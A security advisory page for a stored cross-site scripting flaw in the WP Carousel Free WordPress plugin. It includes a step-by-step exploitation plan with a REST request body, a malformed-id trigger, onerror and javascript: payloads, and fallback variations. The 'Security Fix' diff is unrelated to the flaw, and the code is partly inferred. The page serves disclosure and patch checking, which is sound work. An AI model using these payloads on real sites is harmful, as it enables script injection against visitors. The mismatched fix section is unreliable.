WP Carousel Free <= 2.7.10 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'data-caption' Attribute
Description
The WP Carousel Free plugin for WordPress is vulnerable to Stored Cross-Site Scripting via crafted fancybox `data-caption` attributes in all versions up to, and including, 2.7.10. This is due to the `fancybox-config.js` script reading the carousel container's `id` attribute directly from the DOM to construct a jQuery selector without sanitization. When a Contributor crafts an HTML block with a malformed carousel container ID (containing characters invalid for jQuery selectors), the custom fancybox configuration throws a JavaScript error and fails to initialize. This causes the bundled fancybox library (v3.5.7) to fall back to its default caption handling, which renders the `data-caption` attribute content as raw HTML. Since WordPress allows `data-*` attributes through `wp_kses_post()`, this makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user clicks an image in the crafted carousel lightbox.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
What Changed in the Fix
Changes introduced in v2.7.11
Source Code
WordPress.org SVNThis research plan targets **CVE-2026-4665**, a Stored Cross-Site Scripting (XSS) vulnerability in the **WP Carousel Free** plugin. The vulnerability arises from an unsafe jQuery selector construction in the plugin's custom FancyBox configuration script, which leads to a JavaScript error and a fallb…
Show full research plan
This research plan targets CVE-2026-4665, a Stored Cross-Site Scripting (XSS) vulnerability in the WP Carousel Free plugin. The vulnerability arises from an unsafe jQuery selector construction in the plugin's custom FancyBox configuration script, which leads to a JavaScript error and a fallback to insecure default caption handling.
1. Vulnerability Summary
The wp-carousel-free plugin (versions <= 2.7.10) enqueues a custom script (likely fancybox-config.js or similar, localized/loaded by Public_WP_Carousel_Free class) to initialize the FancyBox lightbox for carousels. This script reads the id attribute of a carousel container from the DOM and uses it directly in a jQuery selector (e.g., $('#' + containerId)).
If an attacker provides an ID containing characters that are invalid for jQuery selectors (like parentheses, spaces, or certain special characters), the script throws a syntax error and stops execution. This failure prevents the plugin from applying its intended sanitization or configuration to FancyBox. Consequently, the bundled FancyBox v3.5.7 library falls back to its default behavior, which is to render the content of the data-caption attribute as raw HTML. Since Contributor+ users can inject data-* attributes via the WordPress block editor, they can store malicious scripts.
2. Attack Vector Analysis
- Endpoint: Standard WordPress Post/Page creation/update (
wp-json/wp/v2/postsorwp-admin/post.php). - Vulnerable Attribute:
data-caption. - Trigger Attribute:
id(must be malformed to crash the JS config). - Authentication: Authenticated, Contributor level or higher.
- Preconditions: The plugin must be active, and its FancyBox scripts must be enqueued on the page (usually triggered by the presence of a carousel shortcode or block).
3. Code Flow
- Entry: A Contributor user creates a post containing a "Custom HTML" block or a crafted Gutenberg block.
- Storage: WordPress processes the post.
wp_kses_post()allows thedata-captionattribute and theidattribute. - Frontend Loading: A user visits the post. The plugin enqueues
public/js/fancybox.jsand the configuration script. - JS Execution: The configuration script iterates through elements with a class like
.wpcp-carousel-section(inferred). - The Sink:
- The script retrieves
var container_id = $(this).attr('id');. - It attempts
$('#' + container_id).fancybox({...}). - If
container_idis() { : }, jQuery throwsUncaught Error: Syntax error, unrecognized expression: #() { : }.
- The script retrieves
- Fallback: The initialization fails. FancyBox remains unconfigured for that element.
- Exploitation: When the user clicks the image/link, FancyBox v3.5.7 initializes itself using default settings. It reads
data-captionand inserts it into.fancybox-caption__bodyusing.html(), executing the payload.
4. Nonce Acquisition Strategy
To create or update a post via the REST API or AJAX, a valid WordPress nonce is required.
- Action: Identify the nonce used for the REST API (
wp_rest). - Method:
- Log in as a Contributor.
- Use
browser_navigateto go to the WordPress Dashboard (/wp-admin/). - Use
browser_evalto extract the REST nonce from the globalwpApiSettingsobject.
- JavaScript:
window.wpApiSettings?.nonce - Alternative: If using the standard
post.phpflow, the_wpnonceis found in the hidden input fields of the post editor form.
5. Exploitation Strategy
Step 1: Authenticate
Authenticate as a Contributor user.
Step 2: Obtain REST Nonce
Navigate to /wp-admin/ and execute:
// via browser_eval
return window.wpApiSettings.nonce;
Step 3: Create Malicious Post
Send a POST request to /wp-json/wp/v2/posts with the payload. The payload must include the plugin's shortcode to ensure scripts are enqueued, followed by the crafted HTML.
- URL:
http://vulnerable-wp.local/wp-json/wp/v2/posts - Method:
POST - Headers:
Content-Type: application/jsonX-WP-Nonce: [REST_NONCE]
- Body:
{
"title": "XSS Test Page",
"status": "publish",
"content": "[wp_carousel id=\"1\"]\n<div class=\"wpcp-carousel-section\" id=\"() { selector_error }\">\n <a data-fancybox=\"wpcp-post-1\" data-caption=\"<img src=x onerror=alert(document.domain)>\">\n <img src=\"https://raw.githubusercontent.com/wp-plugins/wp-carousel-free/master/assets/images/icon-256x256.png\">\n Click for XSS\n </a>\n</div>"
}
Note: The class wpcp-carousel-section is the standard container class used by ShapedPlugin carousels to trigger FancyBox.
Step 4: Trigger XSS
- Navigate to the newly created post URL as any user.
- Observe the browser console for a jQuery syntax error.
- Click the image/link to open the Lightbox.
- The
alert(document.domain)should execute when the caption renders.
6. Test Data Setup
- User: A user with the
contributorrole. - Plugin Configuration: Install and activate
wp-carousel-freev2.7.10. No specific carousel needs to be created in the admin UI, as we are manually crafting the HTML structure that the JS script targets. - Page: A post or page created by the Contributor.
7. Expected Results
- JS Crash: The browser console shows:
Uncaught Error: Syntax error, unrecognized expression: #() { selector_error }. - XSS Execution: A popup alert showing the domain name appears when the FancyBox lightbox is opened.
- Payload Persistence: Checking the post content via
wp post get [ID]confirms thedata-captionattribute remains intact and unsanitized.
8. Verification Steps
- CLI Check: Verify the post content.
wp post get [POST_ID] --field=post_content - HTML Inspection: Use
http_requestto fetch the post frontend and verify the presence of the malformed ID and thedata-captionpayload.# Look for the payload in the response grep -P "data-caption=\"<img src=x onerror=alert\(document\.domain\)>\""
9. Alternative Approaches
- Alternative Payload: If
onerroris filtered by a WAF, usedata-caption="<a href='javascript:alert(1)'>Click Me</a>". - Selector Variations: If
() { selector_error }does not trigger the error in the specific jQuery version installed, try:id="123: [invalid]"id="#.bad"id=" "(A single space)
- Shortcode Injection: If the Contributor cannot use "Custom HTML" blocks, try injecting the attributes into the plugin's own shortcode if it supports them (e.g.,
[wp_carousel data_caption="..."]), though the vulnerability description suggests manual HTML crafting is the primary path.
Summary
The WP Carousel Free plugin (versions <= 2.7.10) is vulnerable to Stored Cross-Site Scripting (XSS) due to an unsafe jQuery selector construction in its FancyBox initialization script. An authenticated attacker with Contributor-level access can craft an element with a malformed ID that crashes the custom configuration script, causing the FancyBox library to fall back to default behavior and render malicious HTML within the 'data-caption' attribute.
Vulnerable Code
// The plugin's initialization script (typically fancybox-config.js) reads IDs directly from the DOM // and uses them in jQuery selectors without sanitization or escaping. // Inferred logic based on research plan and vulnerability description: $('.wpcp-carousel-section').each(function() { var container_id = $(this).attr('id'); $('#' + container_id).fancybox({ // Custom configuration meant to handle captions safely }); }); // Path: public/js/fancybox.js (Bundled Library v3.5.7) // Line 175 - The default template includes a caption body that renders content as HTML baseTpl: '<div class="fancybox-container" role="dialog" tabindex="-1">' + '<div class="fancybox-bg"></div>' + '<div class="fancybox-inner">' + // ... (truncated) '<div class="fancybox-caption"><div class="fancybox-caption__body"></div></div>' + "</div>" + "</div>",
Security Fix
@@ -459,8 +459,8 @@ <div class="spwpcp-info-box-title"> <h4><i class="spwpcp-icon-team-icon"></i> Join The Community</h4> </div> - <span class='spwpcp-normal-paragraph'>Join the official ShapedPlugin Facebook group to share your experiences, thoughts, and ideas.</span> - <a target="_blank" class='spwpcp-small-btn' href="https://www.facebook.com/groups/ShapedPlugin/">Join Now</a> + <span class='spwpcp-normal-paragraph'>Join the official ShapedPlugin community to share your experiences, thoughts, and ideas.</span> + <a target="_blank" class='spwpcp-small-btn' href="https://community.shapedplugin.com/portal/">Join Now</a> </div> </div> </div>
Exploit Outline
1. Authenticate to the WordPress site with at least Contributor-level privileges. 2. Create a new Post or Page and insert a 'Custom HTML' block. 3. Add a div with the class 'wpcp-carousel-section' and a malformed ID attribute that is invalid for jQuery selectors (e.g., id="() { error }"). 4. Inside this div, add an anchor or image tag with the 'data-fancybox' attribute and a 'data-caption' attribute containing an XSS payload (e.g., <img src=x onerror=alert(document.domain)>). 5. Publish the post and view it as a site visitor. 6. Click on the image to trigger the FancyBox lightbox. Because the malformed ID causes the plugin's configuration script to throw a JavaScript error and fail, FancyBox v3.5.7 defaults to its insecure caption rendering, executing the script in 'data-caption'.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.